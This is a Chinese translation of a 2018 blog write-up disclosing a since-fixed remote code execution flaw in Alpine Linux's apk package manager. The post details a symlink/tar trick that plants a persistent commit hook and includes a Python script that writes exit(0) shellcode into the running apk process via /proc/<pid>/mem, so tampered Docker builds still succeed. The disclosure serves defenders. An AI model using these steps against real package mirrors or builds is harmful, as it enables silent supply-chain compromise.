Alpine Linux远程代码执行漏洞深度解析

本文详细分析了Alpine Linux默认包管理器apk中的高危漏洞,攻击者可通过中间人攻击或恶意镜像实现任意代码执行,并创新性地利用/proc文件系统控制进程退出状态。该漏洞影响广泛使用的Docker基础镜像,目前已修复。

Alpine Linux中的远程代码执行漏洞

Max Justicz

2018年9月13日

摘要:我在Alpine Linux的默认包管理器apk中发现了多个漏洞。Alpine是一个极其轻量级的Linux发行版,被广泛应用于Docker环境。其中最严重的漏洞(即本文重点)允许网络中间人(或恶意软件包镜像)在用户机器上执行任意代码。由于默认软件仓库未使用TLS加密传输软件包,该漏洞的危害性被进一步放大。该漏洞已被修复,Alpine基础镜像已完成更新——建议重新构建基于Alpine的派生镜像!

获得代码执行权限后,我找到了一种巧妙的方法(无需SYS_PTRACE权限)通过写入/proc/<pid>/mem使原始apk进程以0退出码退出。这意味着Dockerfile中使用apk安装软件包的步骤被利用后仍能成功构建。

以下是我作为中间人攻击基于Alpine的Docker容器的演示片段:

[视频演示链接]

漏洞分析

任意文件创建导致远程代码执行

Alpine软件包以.apk文件格式分发,这些文件实质上是gzip压缩的tar包。当apk拉取软件包时,它会先将文件解压至根目录(/),然后才校验哈希值是否与签名清单中的记录匹配。严格来说,在解压过程中,每个文件名和硬链接目标都会添加.apk-new后缀。当apk发现下载的软件包哈希不匹配时,会尝试删除所有已解压的文件和目录。

由于apk的"提交钩子"(commit hooks)功能,持久的任意文件写入可轻易转换为代码执行。如果我们能设法将文件解压至/etc/apk/commit_hooks.d/并在清理过程中保留该文件,它将在apk退出前被执行。

通过控制下载的tar文件,我们可以创建持久的"提交钩子":

  1. 在默认不存在的/etc/apk/commit_hooks.d/创建文件夹(注意:解压的文件夹不会添加.apk-new后缀)
  2. 创建指向/etc/apk/commit_hooks.d/x的符号链接(名称任意,例如link)。该链接扩展后名为link.apk-new,但仍指向/etc/apk/commit_hooks.d/x
  3. 创建名为link的常规文件(同样扩展为link.apk-new)。这将通过符号链接写入,最终在/etc/apk/commit_hooks.d/x创建文件
  4. 当apk发现软件包哈希与签名索引不匹配时,首先会取消链接link.apk-new——但/etc/apk/commit_hooks.d/x将保留!随后尝试取消链接/etc/apk/commit_hooks.d/时会因目录非空(包含我们的载荷)而返回ENOTEMPTY错误

修复退出码

既然我们能在apk退出前在客户端执行任意代码,就必须确保apk进程优雅退出。如果在Dockerfile构建步骤中使用apk,当其返回非零退出码时该步骤将失败。

若不采取任何措施,apk将返回与其安装失败软件包数量相等的退出码(此时至少为1)。有趣的是,该值可能溢出——如果错误数量%256==0,进程将以0退出码退出,构建仍会成功(此问题已在此处修复)。

我的首次尝试是使用gdb附加进程并直接调用exit(0)。但Docker容器默认不具备SYS_PTRACE能力,因此无法实现。不过作为root用户,我们可以读写apk进程的/proc/<pid>/mem

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import subprocess
import re

pid = int(subprocess.check_output(["pidof", "apk"]))

print("\033[92mapk pid is {}\033[0m".format(pid))

maps_file = open("/proc/{}/maps".format(pid), 'r')
mem_file = open("/proc/{}/mem".format(pid), 'w', 0)

print("\033[92mEverything is fine! Please move along...\033[0m")

NOP = "90".decode("hex")

# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")

# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
    start = int(m.group(1), 16)
    end = int(m.group(2), 16)

    if "apk" in line and "r-xp" in line:
        mem_file.seek(start)
        nops_len = end - start - len(shellcode)
        mem_file.write(NOP * nops_len)
        mem_file.write(shellcode)

maps_file.close()
mem_file.close()

具体步骤:

  1. 使用pidof获取apk进程的PID
  2. 通过/proc/<pid>/maps查找进程的可执行内存区域
  3. 将最终执行exit(0)的shellcode直接写入内存。令人惊讶的是该方法居然奏效——我原本预期写入操作会失败

当提交钩子退出后apk恢复执行时,将运行我们的shellcode。

结论

如果您在生产环境中使用Alpine Linux,应当:1. 重新构建镜像;2. 考虑向开发者捐款。apk似乎主要由一位开发者维护,他在不到一周内修复了此漏洞。Alpine的主要维护者随后很快发布了新版本。

作者插播:可能有数百家在生产环境中使用Alpine Linux的组织受此漏洞影响。其中部分组织设有漏洞赏金计划,如果类似漏洞由内部开发者发现将会提供丰厚奖励。如果漏洞赏金计划的目的是帮助组织提升安全性,那么依赖项中的关键漏洞是否也应该在一定程度上符合奖励条件?

为此我在上月推出了BountyGraph。BountyGraph为重要依赖项的漏洞赏金计划提供了众筹机制。欢迎关注!


联系方式
Max Justicz
max@justi.cz
mastodon.mit.edu/@maxj

本博客会仅发布几篇文章后就停止更新吗?敬请期待!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计